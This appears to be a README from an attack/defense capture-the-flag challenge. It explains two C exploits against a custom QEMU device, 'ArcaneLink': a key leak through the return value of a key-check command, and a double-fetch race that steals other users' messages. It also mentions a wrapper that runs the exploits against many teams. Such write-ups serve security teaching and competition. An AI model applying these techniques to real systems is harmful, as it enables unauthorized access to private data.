The C files in this directory are the actual exploits to run inside QEMU guests (the VMs managed by the service), while the Python files are simple wrappers that connect to the service, compile, upload and run the exploit on the VMs.
Additionally, simple_attacker.py
provides a simple
weaponization of the two exploits to run on multiple teams in parallel with
automatic flag submission.
NOTE that in order to cross compile the exploit for AArch64 you will need a cross compilation toolchain:
sudo apt-get install gcc-aarch64-linux-gnu binutils-aarch64-linux-gnu
exploit_leak_key.c
exploits the information leak
present in the ArcaneLink device through the CMD_CHK_KEY
command used to check
the validity of a given key for a given UID.
To leak the key we start with a key initialized to 0xffffffffffffffff
:
uint8_t key[8] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
Then for each byte in the key (8) we set the current byte to 0x0 and we invoke CMD_CHK_KEY
, we will have 3 possible results:
for (size_t i = 0; i < sizeof(key); i++) {
key[i] = 0;
// issue the cmd
// ...
leak = ret & 0xffffff; // return value of the cmd
// memcmp returned original_key[i] - 0x0
if (leak > 0)
key[i] = leak;
// original_key[i] is 0x0, so memcmp returned original_key[i+1] - 0xff
else if (leak < 0)
key[i] = 0;
// if ret = 0 we found the key, exit the loop
else
break;
}
exploit_race_cond.c
exploits the double fetch in the
implementation of the CMD_PEEK_MSG
command and the race condition between the
thread handling requests and the MMIO write handler.
First we fill the current msg queue with many messages containing "PWN"
to
later distinguish whether we peeked our own messages (exploit attempt failed) or
not (exploit attempt succeeded).
Then, to win the race condition with the qemu thread we immediately start a
thread that performs an 8-byte
write of the desired mid
and uid
at
&req->mid
in a busy loop. Given that we write at &req->mid
, we bypass the
locking done in arcane_guest_write()
and overwrite uid
while the
arcane_thread_worker()
function is running:
Our thread:
static void *th(void *arg) {
volatile guest_req_t *req = (volatile guest_req_t *)arg;
puts("[thread] started");
while (1) {
*(volatile uint64_t *)&(req->mid) = ((uint64_t)target_uid) << 32 | target_msg_idx;
}
return NULL;
}
Note that in some lucky scenarios you could also win the race without using a thread (using the thread is much more reliable though) as follows:
// schedule CMD_PEEK_MSG
req->cmd = CMD_PEEK_MSG;
// potentially sleep for some usec here
// perform write and overwrite uid
*(volatile uint64_t *)&(req->mid) = ((uint64_t)target_uid) << 32 | target_msg_idx;
After spawning th
we repeatedly issue CMD_PEEK_MSG
in the hope that our
thread changes the UID right after the auth_uid()
check in
qemu_thread_worker()
, but before the call to get_qid_from_uid()
:
case CMD_PEEK_MSG: {
key = req->key;
// req->uid is read [1]
if ((ret = auth_uid(req->uid, key)) != 0) {
arcanelog(" [-] auth failed\n");
ret |= STATUS_ERROR;
break;
}
// HERE <-----
// req->uid is read [2]
qid = get_qid_from_uid(req->uid);
if (qid == -1) {
arcanelog(" [-] invalid uid\n");
ret = STATUS_ERROR | ERR_INVALID_UID;
break;
}
// ...
Each time that we receive a message different from "PWN"
we know that we stole
a message from the message queue of the target UID, and in that case we
increment the message index by 1 and continue the loop.
// ...
fill_msgqueue(req);
// ...
pthread_create(&thread, NULL, th, (void*)req);
// ...
my_uid = getuid();
req->key = my_key;
req->mid = 0;
for (; target_msg_idx <= end_idx; target_msg_idx++) {
size_t attempts;
for (attempts = 1; ; attempts++) {
req->uid = my_uid;
req->cmd = CMD_PEEK_MSG;
while ((status = req->status) == STATUS_BUSY) usleep(10);
if ((status & 0xff000000) == STATUS_ERROR && (status & 0xffffff) == ERR_ENOMSG)
goto no_more_msgs;
if ((status & 0xff000000) == STATUS_OK) {
// If we peek something other than the previously pushed msg,
// we just stole a msg that is not ours
if (strcmp((char *)req->buf, "PWN"))
break;
}
}
printf("[exploit] stolen msg at idx %" PRIu32 " (%" PRIu64 " attempts): %s\n", target_msg_idx, attempts, req->buf);
success = true;
}
Note that the race can fail in two ways:
- Our thread changes
req->uid
beforeauth_uid
: in this case the command will fail withSTATUS_ERROR|ERR_INVALID_KEY
(0x02000004
). - Our thread changes
req->uid
after the call toget_qid_from_uid()
: in this case the message will be popped from our queue instead. Since we initially filled our message queue with known messages ("PWN"
), we can easily distinguish this case by checking the peeked message.
Finally, if we ever get a status of STATUS_ERROR|ERROR_ENOMSG
(i.e.
0x02000009
) we can safely stop as the target UID does not own any more
messages.